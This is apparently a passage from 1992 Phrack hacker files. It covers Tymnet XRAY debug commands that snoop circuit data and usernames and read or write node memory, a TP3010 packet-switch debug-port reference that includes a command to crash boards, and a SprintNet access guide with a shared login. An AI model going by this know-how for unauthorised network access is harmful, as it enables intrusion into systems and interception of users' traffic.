IN 0040 1029 \00,\86\86\09\86\00\00\90\1B\19\80 \06\86\00\00h
\15\1B\08J\04\0B\04\0F\04=\0DR\80JS\80\80
\8CVALINFO\8D
OUT 0040 102F \86\86\14\89p\90\1B\19\86\86\14\89j\18\15\13
**Note: Although this will allow one to follow the network connections
on specific channels, password data is filtered out. As you
can see from the above example, usernames are not. Many
usernames do not have passwords, as you all know. **
On more recent versions of XRAY a similar command "DR" performs a
similar function to the trace commands, but shows both hex and
ascii of the data in memory registers of the node.
>DR
I NOS 0001 A0 *
I SND 0001 A1 * !
I DTA 4920 616D 2061 6E20 6964 696F 7420 6265 *I am an idiot be*
0002 9D63 6175 7365 2049 206C 6566 7420 * cause I left *
6D79 7365 6C66 206C 6F67 6765 6420 696E *myself logged in*
2061 6E64 2077 656E 7420 686F 6D65 2E0D * and went home. *
6F70 7573 2520 0D0A 0D0A 0D0A 0D0A 0D0A *opus% *
BS Display bufferlet use statistics
This command shows the current and past usage of the memory
allocated to data buffering. This shows total usage, total peak
usage, and available buffer size.
RB Read buffer <buffer index>
This command displays the entire contents of the given buffer.
This is a privileged command and its use is not primarily for user
circuits. Primarily.
>RB 69
50 61 72 74 79 20 6F 6E 20 64 75 64 65 21 21 21
WB Write buffer <buffer index>
This command writes up to seven bytes into the specified buffer.
The buffer must greater than 4. This is also a privileged command.
CD Set/reset CRYPTO auto display mode <Y/N>
CL Display CRYPTO log <number of minutes>
CM Display CRYPTO messages by type
SM Enable/Disable CRYPTO messages by type
CRYPTO messages are informational messages about the activity of
the node. Up to 256 such entries are stored in a circular buffer
to record this activity. You can turn on automatic reporting
of these messages with the CD command prefixed with a 'Y' for
on and 'N' for off. Certain message types that become bothersome
can be disabled with the SM command and the message type.
DB Begin delay measurement
DD Display delay measurement statistics
DE Terminate delay measurement
DL Begin data loopback circuit
These commands are used to build circuits for testing the speed and
integrity of data flow between two nodes. The DL command is
super privileged and only one such circuit can be built on
a node at a given time. The data traffic generated by the DL is for
diagnostic use only and can be monitored by viewing node and link
statistics.
PM Measure performance on a channel <channel number>
This command measures the performance of a given channel by
inserting a timing sequence into the packet stream. Once it has
reached the given channel it is returned and a value corresponding
to the total time elapsed in milliseconds is displayed. If the
channel is not active, or no response is returned in 8 seconds the
message "BAD CHANNEL OR TIMEOUT" is displayed.
LE Set local echo mode
RE Set remote echo mode
One would use the set local echo command if the XRAY terminal
is not echoing commands typed by the user. By default, XRAY does
not echo output.
SUMMARY
XRAY is pretty confusing. Be careful with what you are doing
since you are essentially prodding around in the memory of the
node. Think of it in terms of using a utility to poke and prod
the memory of your own computer. Think of how disastrous a
command written to the wrong portion of memory can be. Don't
do anything stupid, or you might bring down a whole network,
or at minimum lose your access.
==Phrack Magazine==
Volume Four, Issue Forty-Two, File 8 of 14
USEFUL COMMANDS FOR THE TP3010 DEBUG PORT
BY G. TENET
ALL OF THE COMMANDS LISTED BELOW, INDICATE A LENGTH IN ALL THE READ
COMMANDS. THE LENGTH OF THE READ COMMANDS MAY VARY DUE TO
CONFIGURATION OPTIONS AND SOFTWARE VERSION.
1) L7FE,L,A,R200
THIS COMMAND STRING WILL LOAD '7FE' INTO THE MEMORY POINTER
REGISTER THEN LOAD THE CONTENT OF '7FE' AND '7FF' INTO THE MEMORY
POINTER REGISTER. THE 'A' THEN INCREMENTS THE CONTENTS OF THE MEMORY
POINTER REGISTER. THE 'R200' COMMAND THEN READS 200 BYTES BEGINNING
AT THE LOCATION SPECIFIED BY THE MEMORY POINTER REGISTER.
THIS AREA IS USED FOR STORING THE LOADED CONFIGURATION. DUE TO THE
VARIABLE NATURE OF THE CONFIGURATION RECORDS, THE READ COMMAND MAY HAVE
TO BE MODIFIED DEPENDANT ON THE NUMBER OF LINES DEFINED, THE TYPE OF LINES
DEFINED (X780,3270) AND THE TYPE OF SOFTWARE LOADED (4.2X OR 5.0X).
2) LC4,R3,LCC,R3 (4.2X SOFTWARE)
L124,R3,L131,R3 (5.0X SOFTWARE)
THIS COMMAND STRING WILL DISPLAY THE BUFFER MANAGER CONTROL BLOCK AREA
WHICH HAS BUFFER COUNTS WHICH MAY SUGGEST POSSIBLE PROBLEMS.
3) L32C,R (4.2X SOFTWARE)
L29C,R (5.0X SOFTWARE)
THIS COMMAND STRING WILL DISPLAY THE NUMBER OF ACTIVE VC'S IN THE
TP3 AT THAT MOMENT.
IF THIS COMMAND IS USED VIA THE LOCAL CONSOLE, THE VC COUNT WILL NOT
INCLUDE THE USER CONNECTION BECAUSE THERE WILL BE NO VC ON THE X.25 LINE
FOR THE LOCAL CONSOLE.
4) L70,R60
THIS COMMAND STRING WILL DISPLAY THE LCB (LINE CONTROL BLOCK) POINTER
FOR THE CONFIGURED LINES.
THE ORDER THAT THE LCB POINTERS ARE ENTERED ARE: CONSOLE LCB, X.25 LCB,
LINE 1, LINE 2, LINE 3...LINE27. ANY ZERO ENTRY IS AN UNCONFIGURED
LINE EACH LINE ENTRY IS TWO BYTES LONG.
5) L300,L,R20 (4.2X SOFTWARE)
L270,L,R20 (5.0X SOFTWARE)
THIS COMMAND STRING WILL DISPLAY THE LCN VECTOR TABLE. THE ENTRIES ARE
FOR EACH ACTIVE LCN BEGINNING WITH LCN 0 THRU THE HIGHEST CONFIGURED
LCN. A 0000 ENTRY FOR AN LCN WILL INDICATE THAT THE LCN IS NOT ACTIVE.
A NON ZERO ENTRY WILL POINT TO THE DCB (DEVICE CONTROL BLOCK) OF THE
ASSOCIATED LINE/DEVICE.
6) L1F1,L,R20 (4.2X SOFTWARE ONLY)
THIS COMMAND STRING WILL DISPLAY THE PROTOCOL ID TABLE FOR THE
CONFIGURED/SUPPORTED PROTOCOLS. THE FORMAT OF THE OUTPUT
IS:
999999999999...
-- ----
! -- ! ----
! ! ! !...............POINTER TO THE SERVER TABLE *****
! ! !...................POINTER TO THE PROTOCOL SERVICE ROUTINE
! !......................PROTOCOL ID NUMBER
! 01 =ITI (RITI AND LITI)
! 4B =X780
! 47 =NAP 3270
! 09 =DEBUG
!........................NUMBER OF ENTRIES IN THIS TABLE
7) L(ADDRESS OF THE SERVER TABLE),R20
THE ADDRESS OF THE SERVER TABLE IS FOUND IN #6 (ABOVE)
THIS COMMAND WILL DISPLAY THE SERVER TABLE IN THE FORMAT:
99999999...
-- ----
! -- !................ THIS IS THE ADDRESS OF THE FIRST FREE DCB
! ! IN THE FREE DCB LIST. IF 0000 THEN THERE ARE
! ! NO FREE DCB'S FOR THIS SERVER AND PROTOCOL.
! !.....................SERVER NUMBER
!.......................NUMBER OF ENTRIES IN THIS TABLE
THE POINTER IN THIS TABLE , IF PRESENT, WILL POINT TO THE NEXT AVAILABLE
DCB. WITHIN THE DCB, THERE IS A POINTER AT DISPLACEMENT 18 AND 19 WHICH
WILL POINT TO THE NEXT FREE DCB. THE LAST FREE DCB WILL HAVE A
POINTER OF 0000.
THE FOLLOWING COMMANDS ARE USED WITHIN THE TP3 DEBUG PORT TO
PERFORM THE INDICATED ACTIONS. ONLY THE TP3325 WILL SUPPORT THE
[# LPU NUMBER] OPTIONS. THE USE OF THE [# LPU NUMBER] OPTION IS ONLY
REQUIRED IF YOU WISH TO ADDRESS A DIFFERENT LPU NUMBER; EXCEPT FOR THE
'S' COMMAND WITH WHICH THE LPU MUST BE DEFINED.
A SPACE CHARACTER MAY BE INCLUDED IN THE COMMAND AND THE COMMANDS
MAY BE STACKED (EXAMPLE: L7FE ,L,A,R5,L#2,L 7FE,L,A,R5,L#3 7FE,L,A,R 5).
THE TP3325 COMMANDS THAT DO NOT USE THE 'LPU' PARAMETER USE THE
LAST ASSIGNED LPU NUMBER. (EXAMPLE: L#27FE,R2,L#17FE,R4)
THE FIRST LOAD COMMAND ADDRESSES LPU 2 AND THE NEXT LOAD COMMAND ADDRESSES
LPU 1. THE READ OF TWO BYTES IS READING FROM LPU 2 AND THE READ OF FOUR
BYTES IS READING FROM LPU 1.
A VALUE
INCREMENTS THE MEMORY ADDRESS POINTER.
(EXAMPLE: A5 OR AFFE2 OR A#2EF)
B VALUE
USED TO ENTER OR EXIT BINARY MODE.
(EXAMPLE: B01 OR B00)
C [# LPU NUMBER] VALUE
USED TO WARM OR COLD START A TP3325 LPU
(EXAMPLE: C00 OR C#300)
OR
USED TO WARM OR COLD START OTHER TP3.
(EXAMPLE: C01 OR C#201)
D VALUE
USED TO DECREMENT THE MEMORY POINTER.
(EXAMPLE: D18 OR DFFE5 OR D#4IFF)
E STRING
USED TO CHECK FOR A EQUAL COMPARE OF MEMORY DATA.
(EXAMPLE: E00 OR E0F0304 OR E#20000)
F STRING
USED TO FIND THE FIRST OCCURRENCE OF A STRING.
(EXAMPLE: F0F0304 OR F08080202 OR F#308080404)
G [# LPU NUMBER] VALUE
USED TO FIND THE ADDRESS OF A CONFIGURATION FILE IN
MEMORY. THE LPU DEFINITION IN THE COMMAND DOES
NOT CHANGE THE LPU ASSIGNMENT IN THE DEBUG PORT.
(EXAMPLE: GFE OR G01 OR G#301)
I [# LPU NUMBER]
USED TO OBTAIN A LIST OF THE CONFIGURED LINE TYPES.
(EXAMPLE: I OR I#3)
K [# LPU NUMBER] [14 DIGIT ADDRESS]
USED TO OBTAIN THE LCB, ADDRESS TABLE POINTERS AND
LINE NUMBER ASSOCIATED WITH THE ADDRESS.
(EXAMPLE: K31102120012301 OR K#2 311021250212)
N STRING
USED TO CHECK FOR AN NON EQUAL COMPARISON.
(EXAMPLE: N0F0304 OR N08080202 OR N#1 0F)
P [# LPU NUMBER] PORT NUMBER
USED TO READ THE CONTENTS OF A SPECIFIC PORT REGISTER.
(EXAMPLE: P45 OR P21 OR P#4 21)
R VALUE
USED TO READ MEMORY DATA. THE QUANTITY IS INDICATED
BY THE 'VALUE'.
(EXAMPLE: R18 OR R200)
S [# LPU NUMBER] LINE NUMBER
USED TO OBTAIN DATA SET SIGNALS FOR THE DEFINED LINE
NUMBER.
(EXAMPLE: S1 OR S#23 OR S)
T (TP3325 ONLY)
W STRING
USED TO WRITE DATA INTO MEMORY.
(EXAMPLE: W0E0304 OR W08080707)
X [# LPU NUMBER]
USED TO DISPLAY THE DIFFERENCE BETWEEN THE STORED
CHECKSUM AND A CALCULATED CHECK SUM OF THE
OPERATING SOFTWARE. THE LPU DEFINITION DOES
NOT CHANGE THE LPU ASSIGNMENT IN THE DEBUG PORT.
(EXAMPLE: X OR X#2)
Y (TP3325 ONLY)
RETURNS NCC LOAD ADDRESS FROM EPROM
Z (TP3325 ONLY)
CRASHES APB AND XPB. MAY HANG APB IF THE X.25
INTERFACE DOES NOT RESET.
$ PORT A -- ENABLE AUTOCONNECT
M -- DISABLE AUTOCONNECT
B -- BUSY
R -- RESET
C -- CLEAR
HARDWARE COMMANDS FOR THE TP3000
'P' COMMAND DISPLAYS THE STATUS OF A SPECIFIED PERIPHERAL INTERFACE
DEVICE FOR THE CPU. FOLLOWING IS A LIST OF SOME OF THE MORE USEFUL ADDRESSES
WHICH CAN BE BENEFICIAL IF TRYING TO RESEARCH A PROBLEM.
THIS COMMAND IS A READ TO THE SPECIFIED DEVICE. DEPENDANT ON THE DEVICE
BEING READ (THE ADDRESS), THE TP MAY CRASH.
COMMAND INTERPRETATION
======= ==============
TP3010
------
P45 READ CONSOLE READ REGISTER
(BIT 2 THRU 6 SHOW THE POSITION OF
THE FRONT PANEL ROTARY SWITCH)
BIT 0 = NOT TIMEOUT STATUS (SEE P47)
BIT 1 = NOT PBRST STATE (SEE P47)
BIT 2 = NOT RESTART
BIT 3 = NOT MEMORY SAVE
BIT 4 = NOT TAPE LOAD
BIT 5 = NOT PROGRAM SAVE
BIT 6 = NOT DIAGNOSTICS
BIT 7 = NOT SYSTEM GOOD
IF BIT 6 THRU BIT 2 ARE ALL SET (EQUAL TO 1)
THEN THE FRONT PANEL SWITCH IS IN
THE X.25 LOAD POSITION.
P47 THIS COMMAND WILL CAUSE THE FRONT PANEL
ALARM TO SOUND.
P4D,P4D,P4D,P4D,P4D,P4D,P4D THE LAST RESPONSE WILL PROVIDE THE
DOWN LINE LOAD EPROM REV. LEVEL
FOR THE TP3010.
EXAMPLE 43 = 'C' LEVEL
TP3005
------
P23 BIT 1 = 0 CONFIG MODE
1 RUN MODE
4.2X 5.XX COMMENTS
====== ====== ===========================================
70 70 LCB VECTOR TABLE
2 BYTES FOR EACH LINE IN THE TP. IF LINE IS
NOT DEFINED , THEN ENTRY IS 0000. IF LINE
IS DEFINED, THEN ADDRESS POINTS TO THE
LCB (LINE CONTROL BLOCK)
C0 120 BM CONTROL BLOCK
C4 124 # CONTROL BUFFERS INITIALIZED
C5 125 # CONTROL BUFFERS FREE
C6 126 LOWEST # CONTROL BUFFERS (00 IS NONE LEFT)
12B POINTER TO THE CONTROL BUFFERS
CC 131 # BLOCK BUFFERS INITIALIZED
CD 132 # BLOCK BUFFERS FREE
CE 133 LOWEST # BLOCK BUFFERS REACHED (00 IS NONE
LEFT)
138 POINTER TO BLOCK BUFFERS
1F1 POINTER TO PROTOCOL ID TABLE
270 1F0 X.25 LCB
27E 27E # FRAMES DISCARDED
27F 27F # CRC ERRORS
280 280 # REJECTS SENT
281 281 # REJECTS RECEIVED
282 282 # T1 TIME OUTS
283 283 # COMMAND REJECTS SENT
284 284 # COMMAND REJECTS RECEIVED
285 285 # DISCONNECTS SENT
286 286 # DISCONNECTS RECEIVED
287 287 # SET MODE SENT
288 288 # SET MODE RECEIVED
289 289 # FRAME OVERFLOW RECEIVED
28A 28A # I FRAMES SENT
28B 28B # I FRAMES RECEIVED
2B0 230 DMA LCB
300 270 LCN VECTOR TABLE
29B MAX. # LCN'S
32C 29C # OF ACTIVE LCN'S
7FE 7FE POINTER TO THE END OF THE OPERATING
SYSTEM. THE NEXT BYTE IS THE BEGINNING
CONFIGURATION TABLES.
159 E9 TIME OF DAY CLOCK
159 E9 1/10 SECONDS
15A EA SECONDS
15B EB MIN.
15C EC HOURS
15D ED DAYS
15E EE DAYS
DCB + 3 XX PACKET REC. STATUS BYTE#1
00 = READY
01 = DTE WAITING
02 = DCE WAITING
04 = DATA TRANSFER
08 = DTE CLEAR REQUEST SENT
10 = DCE CLEAR INDICATION
20 = DTE RESTART REQUEST
40 = DTE RESET REQUEST
80 = DCE RESET INDICATION
DCB +18 XX POINTER TO NEXT FREE DCB
VALID ONLY IF THIS IS A FREE DCB
ITI SPECIFIC LCB INFORMATION
LCB+27 PHYSICAL STATUS
X'00' LINE DOWN/INACTIVE
X'01' LINE HAS BEEN INACTIVATED
X'02' LINE IS 'BUSY OUT'
X'04' LINE IS BEING ACTIVATED
X'08' LINE IS ACTIVE
X'10' LINE IS BEING INACTIVATED
LCB+28 TDT2 COMMAND BYTE
BIT 0 = 1 BUSY LINE
BIT 1 = 1 CLEAR LINE
BIT 2 = 1 RESET LINE
BIT 3 - 7 NOT USED
LCB+5C # BUFFERS ALLOCATED TO THIS LINE
LCB+5D DRIVER ERROR COUNTER
LCB+5E NO BUFFER ERROR COUNTER
LCB+5F FLOW CONTROL ERROR COUNTER
LCB+60 PARITY ERROR COUNTER
LCB+61 OVER-RUN ERROR COUNTER
LCB+62 FRAMING ERROR COUNTER
LCB+74 BREAK TIMER
LCB+75 RING-OUT TIMER
LCB+76 RING-OUT COUNTER
DSP 3270 LCB SPECIFIC INFORMATION
LCB+4F CURRENT NO. SYNC PAIRS INSERTIONS
LCB+50 CURRENT NO. OF ERROR RETRIES
LCB+51 CURRENT NO. OF NAK RETRIES
LCB+52 CURRENT NO. OF ENQ RETRIES
LCB+53 RECEIVE ACK COUNTER
LCB+54 TRANSMIT ACK COUNTER
LCB+55 CTS DROP-ERROR COUNTER
LCB+56 DCD DROP-ERROR COUNTER
LCB+5A CURRENT NO. WACK'S
X780 LCB SPECIFIC INFORMATION
LCB+4F CURRENT NO. OF SYNC PAIR INSERTIONS
LCB+50 CURRENT NO. OF ERROR RETRIES
LCB+51 CURRENT NO. OF NACK RETRIES
LCB+52 CURRENT NO. OF ENQ RETRIES
LCB+53 RECEIVE ACK COUNTER
LCB+54 TRANSMIT ACK COUNTER
LCB+55 CTS DROP-ERROR COUNTER
LCB+56 DCD DROP-ERROR COUNTER
COMMON DCB INFORMATION
DCB+6 BITS 5-7 PACKET SEND SEQ. NO. P(S)
DCB+7 BITS 5-7 PACKET REC. SEQ. NO. P(R)
DCB+8 LCN #
DCB+9 BITS 5-7 PACKET SEQ. NO. LAST CONFIRMED
DCB+A BITS 5-7 PACKET SEQ. NO. LAST SENT TO NET
DCB+B # PACKETS SENT
DCB+D # PACKETS REC.
DCB+F # RESETS SENT OR RECEIVED
DCB+14 # BUFFERS IN HOLD QUEUE
DCB+15 TIME VC WAS ESTABLISHED (SSMMHHDD)
DCB+31 DESTINATION NETWORK ADDRESS
THE FOLLOWING IS A DESCRIPTION OF THE TP3006 X.25 INTERFACE FROM THE
SIO TO THE REAR PANEL CONNECTORS.
SIO CHIP REAR PANEL CONNECTOR
+--------------+
| |
| DTRB |------------------->- DTR 20
| TXDB |------------------->- TXD 2
| RTSA |------------------->- LDL 13
| RTSB |------------------->- RTS 4
| DTRA |------------------->- LAL 19
| DCDA |---<-----------+--->- CTR 18
| | +---<- RLSD 8
| RXCA |--+
| RXCB |--+-------- ** ----<- RXC 17
| | +->- TXCE 24
| | ** --+->- RXCE 11
| TXCA |----+
| TXCB |----+------ ** ----<- TXC 15
| DCDB |----------- ** ----<- DSR 6
| CTSB |-------------------<- CTS 5
| RXDA |----+
| RXDB |----+--------------<- RXD 3
| CTSA |-------------------<- RI 22
| |
+--------------+
< INBOUND SIGNAL
> OUT BOUND SIGNAL
IF DSR AND TXC, THEN USE EXTERNAL CLOCKING. IF DSR AND NO TXC,
THEN USE INTERNAL CLOCKING DERIVED FROM THE CONFIGURED LINE SPEED
PRODUCED FROM A CTC CHIP). IF THE CLOCKING IS PRODUCED INTERNALLY,
THEN THE INTERNAL CLOCK IS ALSO PROVIDED ON PINS 11 AND 24
AT THE REAR PANEL.
FOR THE TP3325, THE NETLINES ALWAYS USE THE EXTERNAL CLOCK SOURCE.
THE HARDWARE WAS CHANGED DURING REFINEMENT OF THE MOD ONE XPB.
IF THE ATTACHED DEVICE IS PROVIDING CLOCKING AND THE TP3025 IS PROVIDING
CLOCKING, THE TP WILL DETECT THE CLOCKING AND WILL STOP CLOCKING. IN THE
CASE OF THE TP3025 HAVING BEEN RESET AND LOADED, IF A TP3005/3006 IS THEN
CONNECTED TO THE INTERFACE, THERE IS A RACE CONDITION WHERE THE DEVICE THAT
PROVIDES THE CLOCKING IS ARBITRARY. THE HARDWARE LOGIC REQUIRES A RESET
TO OCCUR FOR THE TP3025 TO CHANGE PRIOR SELECTION OF 1) INTERNAL/EXTERNAL
CLOCKING AND 2) V35/RS232 INTERFACE AFTER A LOAD.
THE DEBUG PORT "S" COMMAND WILL RETURN ONE HEX BYTE THAT REPRESENTS
THE DATA SET SIGNALS STATUS AT THE SIO CHIP FOR THE DEFINED LINE
(E.G. "S2" WILL RETURN THE DATA SET SIGNALS ON LINE 2). THE UPPER HALF
OF THE BYTE IS USED TO REPRESENT THE DATA SET SIGNAL STATUS.
BIT 7 6 5 4 3 2 1 0
| | | | ==========
| | | | NOT USED
| | | |
DSR AT THE REAR ---+ | | +--- RTS AT THE REAR PANEL.
DTR AT THE REAR -----+ +------ CTS AT THE REAR PANEL.
THE FOLLOWING IS A DESCRIPTION OF THE DEVICE INTERFACE FOR THE
SIO TO THE REAR PANEL.
SIO CHIP REAR PANEL INTERFACE
+--------------+
| |
| RXD | ------------------------< 2 TD
| TXD | ------------------------> 3 RD
| DCD | -<-----------+----------< 4 RTS
| | +----------> 5 CTS
| DTR | ------------------------> 6 DSR
| RTS | ------------------------> 8 DCD
| RXC | -<--------- ** ---------< 11
| | PIO DSR -- ** ---------< 20 DTR
| | -- ** ---------> 15 TC
| | -- ** --------> 17 RC
| TXC | -<--------- ** ---------< 24 TC
| CTS | -<----------------------< 18
| |
| | PIO -----------------< 25
| | PIO -----------------> 22
| |
+--------------+
WITH DTR TRUE ( PIN 20), RXC (PIN 11) IS CHECKED FOR AN INBOUND CLOCK
SIGNAL. IF THERE IS A CLOCK SIGNAL, THEN THE SIO IS CLOCKED EXTERNALLY
FROM PIN 11 AND 24. IF THERE IS NO CLOCK ON PIN 11 THEN AN INTERNAL CLOCK
SOURCE IS GATED TO THE SIO AND TO PIN 15 AND 17 ON THE REAR PANEL INTERFACE.
THE OUTPUT OF THE DEBUG PORT 'S' COMMAND DISPLAYS ONE HEX BYTE THAT
IS A COMPOSITE OF THE DATA SET SIGNALS FROM THE PIO AND SIO CHIPS. THE
OUTPUT BIT DEFINITIONS ARE THE SAME AS THE X.25 LINE BUT A NOTE NEEDS
TO MADE THAT THE X.25 IS A DTE INTERFACE AND THE DEVICE LINES ARE A
DCE INTERFACE. THE UTILIZATION OF THE INBOUND RTS/CTS MAY NOT BE
REQUIRED FOR THE TP TO MAINTAIN THE INTERFACE.
PINS 22 AND 25 ARE PAD DEPENDANT SO THEY MAY BE USED FOR
DIFFERENT FUNCTIONS THAN THOSE EXPECTED.
ALL NUMERIC VALUES ARE IN HEX.
COMMAND STRINGS CAN BE USED WHILE IN THE DEBUG PORT.
==============================================================<
| XCB DIRECTORY TABLE (two bytes per entry) >
| DEBUG |LOGGER| X.25 #0 | X.25 #1 | X.25 #2 | X.25 #3|.......
L70,R24 | DCB | DCB | XCB | XCB | XCB | XCB | >
|===============================================================>
| | | | | |
XCB#0 XCB#1 | XCB#2 XCB#3 | XCB#4 XCB#5
| | | | | |
+->>---------------->>-+ | | +>>+ | |
| | | | | |
| +<<----------------<<-+ L76,R2 | | L7A,R2
| | | |
| | L74,L,R80 | +<<---+ L78,L,R80
| | | |
| +------------->>--------------> | +--------->>------------->
| | XCB >> > | | XCB >> >
| +------------->>--------------> | +--------->>------------->
| | XCB+2D | | XCB+2D
| | +>>+ |
| +-<<---------------+ | +-<<-------------+
| | | |
| | L(XCB+2D),L,R((MAX.LCN*3)+3) | | L(XCB+2D),L,R((MAX.LCN*3)+3)
| | | |
| +------------------>>--------> | +------------------>>-------->
| | LCN VECTOR TABLE >> ABCCDD > | | LCN VECTOR TABLE >> ABCCDD >
B |3 BYTES PER ENTRY >> ====== > B |3 BYTES PER ENTRY >> ====== >
| +------------------>>--------> | +------------------>>-------->
| | | |
+--CC->> TRUNK LCNS -----> | +--CC->> CONCENTRATOR LCNS |
| |LCN0 |LCN1 |... | | |LCN0 |LCN1 |... |
| +--->>--+ |
| |
| THREE BYTE LCN ENTRY ==> AB CC DD |
| = == == |
| | | | |
| XCB NUMBER ----+ | | |
| LCN NUMBER ------+ +---- LCN TIMER |
| |
| |
+-<<-----------------------------------------------------<<-------+
** CC IS THE LCN NUMBER IN XCB B. B IN XCB #0 WILL POINT TO
== = =
XCB #4 IN THIS EXAMPLE. CC IN XCB #0 WILL GIVE THE LCN NUMBER USED IN
==
THE LCN VECTOR TABLES FOR XCB #4.
1) XCB OFFSETS DEFINITION
XCB + 09 CONTROL DATA SET SIGNAL STATUS
BIT 4 = 1 RTS HIGH
5 = 1 CTS HIGH
6 = 1 DTR HIGH
7 = 1 DSR HIGH
THE S COMMAND RETRIEVES THIS LOC.
XCB + 0B POINTER TO LINE CONFIGURATION RECORD.
XCB + 0E NUMBER OF FRAMES DISCARDED.
XCB + 0F NUMBER OF CRC ERRORS
XCB + 10 NUMBER OF REJECTS SENT
XCB + 11 NUMBER OF REJECTS RECEIVED
XCB + 12 NUMBER OF T1 TIMEOUT
XCB + 13 NUMBER OF COMMAND REJECTS SENT
XCB + 14 NUMBER OF COMMAND REJECTS RECEIVED
XCB + 15 NUMBER OF DISCONNECTS SENT
XCB + 16 NUMBER OF DISCONNECTS RECEIVED
XCB + 17 NUMBER OF SET MODE SENT
XCB + 18 NUMBER OF SET MODE RECEIVED
XCB + 19 NUMBER OF FRAME OVERFLOW
XCB + 1A NUMBER OF I FRAMES SENT
XCB + 1C NUMBER OF I FRAMES RECEIVED
XCB + 24 FLAG BYTE
BIT 0 = 1 DCE-TO-DTE FLOW INIT
1 = 1 DTE-TO-DCE FLOW INIT
2 = 1 LINK RESET (DISC. OR SETMODE SENT
3 = 1 DCE BUSY ( RNR SENT)
4 = 1 IN TIMER RECOVERY
5 = 1 SENT INTERNAL RESET. LAP RE-INIT.
6 = 1 SET POLL BIT IN NEXT FRAME.
XCB + 27 LINE STATUS
BIT 0 = 1 NOT ACTIVE
1 = 1 DEACTIVATED
2 = 1 BUSY-OUT
3 = 1 ACTIVATING
4 = 1 ACTIVE
5 = 1 DEACTIVATING
XCB + 2B MAX. LCN PERMITTED
XCB + 2C CURRENT NUMBER OF LCN IN USE
XCB + 2D POINTER TO THE LCN VECTOR TABLE
XCB + 47 'DISABLE/ ENABLE/ CLEAR COMMAND.
NOT OPERATIONAL AT VERSION 1.01.
01 - BUSY
02 - CLEAR BUSY
04 - RESET LINE
2) LCN VECTOR TABLE.
( XCB + 2D ,L,A (LCN ADDRESS),R3)
LCN ADDRESS = (LCN * 3)
LCN + 0 BITS
0-3 - XCB DIRECTORY NUMBER.
4 - INIT CLEAR TIMER ON
5 - CLEAR INDICATION SENT
6 - CALL REQUEST SENT
7 - LCN ACTIVE
LCN + 1 LCN NUMBER
(SEE LCN + 0 , BITS 0-3 TO GET XCB NUMBER)
LCN + 2 TIMER FOR LCN.
==Phrack Magazine==
Volume Four, Issue Forty-Two, File 8 of 14
The SprintNet/Telenet Directory
===
=======
===========
===============
---------------------===========
------------------=============
---------------=================
------------===================
===============
===========
=======
===
Scanned and written by Skylar
Release date: 12/92
Part I Basic SprintNet Info
Part II SprintNet Directory
How to Access SprintNet:
~~~~~~~~~~~~~~~~~~~~~~~~
(Compliments of Sprint)
SPRINTNET LOCAL ACCESS NUMBERS
FOR THE MOST UP-TO-DATE LISTING OF THE U.S. ACCESS TELEPHONE NUMBERS
FOR PC OUTDIAL SERVICES, DO THE FOLLOWING:
1. USE A MODEM TO DIAL 1-800-546-1000 WITH PARAMETERS SET AT 7-E-1
2. TYPE THREE CARRIAGE RETURNS (CR) (CR) (CR)
3. INPUT YOUR AREA CODE AND LOCAL EXCHANGE
4. YOU WILL THEN RECEIVE THE PROMPT SIGN "@"
5. THEN, TYPE:
MAIL (CR)
USER NAME: PHONES (CR)
PASSWORD: PHONES (CR)
Follow the menus to get your local dialup, then logon through that using the
same procedure until you get to the "@" prompt. From here, you can type in
commands. Below is a list of commands available from the "@" prompt.
Notes: while connected, you can escape to the command prompt by sending
<cr>@<cr>
while waiting for a connection, you can escape to the command prompt by
sending a hard BREAK
Command <parameter> Explanation
BYE Closes session (same as disconnect)
CONNECT <nua> Connects to a network user address
CONTINUE Continue session (used after breaking)
DISCONNECT Closes session (same as bye)
DTAPE Builds optimum circuit for bulk file transfer
DISABLE ECHO
DISABLE FLOW Pad to host flow control
DISABLE TFLOW Terminal to pad flow control
ENABLE ECHO
ENABLE FLOW
ENABLE TFLOW
FULL Set full duplex
HALF Set half duplex
HANGUP Self explanitory
ID <nui> Sets the network user id for charged calls
RESET Resets your port (as if you just dialed up)
RST Show remote parameters
RST? Set remote parameters
PAR? Show ITI parameters
STATUS Shows your current network address and port
SET? <param>:<value> Set ITI parameters.
TERM <termtype> Set your termtype
TEST CHAR Test of all ascii characters
TEST ECHO Echos what you type
TEST TRIANGLE
TEST VERSION Shows current pad software ver
Note: I didn't include any of the parameters for SET? or termtypes because
they would have increased the length of this file by about 20%. If you
want these, you can get them from the PC-PURSUIT BBS file section via
C PURSUIT from SprintNet or 031109090063100 international.
Network Messages:
~~~~~~~~~~~~~~~~~
While attempting to CONNECT to addresses on SprintNet, you may run into various
messages from the network. This should help you determine what they mean.
If you are connected and break your connection or are disconnected by the
remote host, you will recieve a disconnect message. Below is a breakdown of
the message.
DISCONNECTED 00 00 00:00:00:00 000 00
^ ^ ^_________^ ^ ^
| | | | |
| | | | +-- Packets sent
| | | +----- Packets recieved
| | +------------- Days:Hours:Minutes:Seconds connected
| +--------------------- Clearing diagnostic code
+------------------------ Clearing cause code
If you are unable to make a connection or abort an attempted connection, you
will only receive cause and diagnostic codes (as no time was spent connected
and obviously no packets were sent!) along with a very general plain-text of
what the problem might be (i.e. rejecting, not operating...). Below is a list
of cause and diagnostic codes to give you a more detailed idea of why you were
unable to connect or why you were disconnected.
Clear cause codes:
0 "DTE originated clear"
1 "Number busy"
3 "Invalid facility requested"
5 "Network congestion"
9 "Out of Order"
11 "Access barred"
13 "Not obtainable"
17 "Remote Procedure Error"
19 "Local Procedure error"
21 "RPOA out of order"
25 "Reverse Charge not Subscribed to"
33 "Incompatible destination"
41 "Fast Select acceptance not subscribed"
49 "Ship absent"
128 "DTE originated clear with top bit set"
193 "Gateway procedural error"
195 "Gateway congestion"
199 "Gateway Operational"
Clear diagnostic codes
0 "No additional Information"
1 "Invalid Ps"
2 "Invalid Pr"
16 "Packet Type Invalid"
17 "Packet Type Invalid in state r1"
18 "Packet Type Invalid in state r2"
19 "Packet Type Invalid in state r3"
20 "Packet Type Invalid in state p1"
21 "Packet Type Invalid in state p2"
22 "Packet Type Invalid in state p3"
23 "Packet Type Invalid in state p4"
24 "Packet Type Invalid in state p5"
25 "Packet Type Invalid in state p6"
26 "Packet Type Invalid in state p7"
27 "Packet Type Invalid in state d1"
28 "Packet Type Invalid in state d2"
29 "Packet Type Invalid in state d3"
32 "Packet not allowed"
33 "Packet Type Unidentifiable"
34 "Call on One way LC"
35 "Invalid PVC packet type"
36 "Packet on Unassigned logical channel"
37 "Reject not Subscribed to"
38 "Packet too short"
39 "Packet too long"
40 "Invalid GFI"
41 "Restart/Registration Packet has LC"
42 "Packet type not compatible with Facility"
43 "Unauthorised Interrupt Confirmation"
